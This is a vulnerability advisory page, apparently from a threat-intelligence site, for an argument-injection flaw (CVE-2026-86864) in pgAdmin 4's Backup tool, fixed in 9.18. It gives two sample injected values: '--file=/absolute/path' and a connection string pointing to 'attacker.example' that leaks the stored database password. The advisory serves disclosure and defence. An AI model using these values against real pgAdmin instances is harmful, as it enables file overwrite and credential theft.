CVE-2026-86864: CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') in pgadmin.org pgAdmin 4
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
AI Analysis
Technical Summary
pgAdmin 4's Backup tool appended the client-supplied 'database' field directly as a trailing positional argument to the pg_dump command without validation. Because pg_dump uses getopt_long to parse options, a database name starting with a dash was interpreted as an option, allowing attackers to override critical parameters such as the output file path, leading to arbitrary file creation or overwrite. Additionally, if the database name contained an equals sign, libpq expanded it into a connection string, overriding host and port parameters and redirecting the connection to an attacker-controlled server. Since pgAdmin exports the decrypted database password in the PGPASSWORD environment variable, this redirection exposes credentials to the attacker. Any authenticated user with the tools_backup permission (default User role) can exploit this. The fix implemented stops passing the database name as a command-line argument and instead sets it in the PGDATABASE environment variable, which libpq treats literally, preventing injection. This fix was introduced in pgAdmin 4 version 9.18.
Potential Impact
Successful exploitation allows an authenticated user with tools_backup permission to create or overwrite arbitrary files on the system with the privileges of the pgAdmin process, potentially destroying configuration data or escalating privileges. It also enables redirection of database connections to attacker-controlled servers, leaking decrypted database passwords via environment variables. This compromises confidentiality, integrity, and availability of the pgAdmin environment and connected databases.
Mitigation Recommendations
A fix is available and implemented in pgAdmin 4 version 9.18. Users should upgrade to version 9.18 or later to mitigate this vulnerability. The fix removes the vulnerable argument passing method and uses the PGDATABASE environment variable to safely specify the database name. Until upgrading, restrict tools_backup permission to trusted users only.
CVE-2026-86864: CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') in pgadmin.org pgAdmin 4
Description
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
CVSS v3.1
Score 8.8high
Affected software
pgadmin.org
pgAdmin 4
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
pgAdmin 4's Backup tool appended the client-supplied 'database' field directly as a trailing positional argument to the pg_dump command without validation. Because pg_dump uses getopt_long to parse options, a database name starting with a dash was interpreted as an option, allowing attackers to override critical parameters such as the output file path, leading to arbitrary file creation or overwrite. Additionally, if the database name contained an equals sign, libpq expanded it into a connection string, overriding host and port parameters and redirecting the connection to an attacker-controlled server. Since pgAdmin exports the decrypted database password in the PGPASSWORD environment variable, this redirection exposes credentials to the attacker. Any authenticated user with the tools_backup permission (default User role) can exploit this. The fix implemented stops passing the database name as a command-line argument and instead sets it in the PGDATABASE environment variable, which libpq treats literally, preventing injection. This fix was introduced in pgAdmin 4 version 9.18.
Potential Impact
Successful exploitation allows an authenticated user with tools_backup permission to create or overwrite arbitrary files on the system with the privileges of the pgAdmin process, potentially destroying configuration data or escalating privileges. It also enables redirection of database connections to attacker-controlled servers, leaking decrypted database passwords via environment variables. This compromises confidentiality, integrity, and availability of the pgAdmin environment and connected databases.
Mitigation Recommendations
A fix is available and implemented in pgAdmin 4 version 9.18. Users should upgrade to version 9.18 or later to mitigate this vulnerability. The fix removes the vulnerable argument passing method and uses the PGDATABASE environment variable to safely specify the database name. Until upgrading, restrict tools_backup permission to trusted users only.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- PostgreSQL
- Date Reserved
- 2026-09-08T15:47:05.996Z
- Cvss Version
- 3.1
- State
- PUBLISHED
Threat ID: 6aac0b8155bf5e2cf5942eee
Added to database: 09/17/2026, 15:47:13 UTC
Last enriched: 09/17/2026, 16:01:29 UTC
Last updated: 09/17/2026, 17:11:41 UTC
Views: 9
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.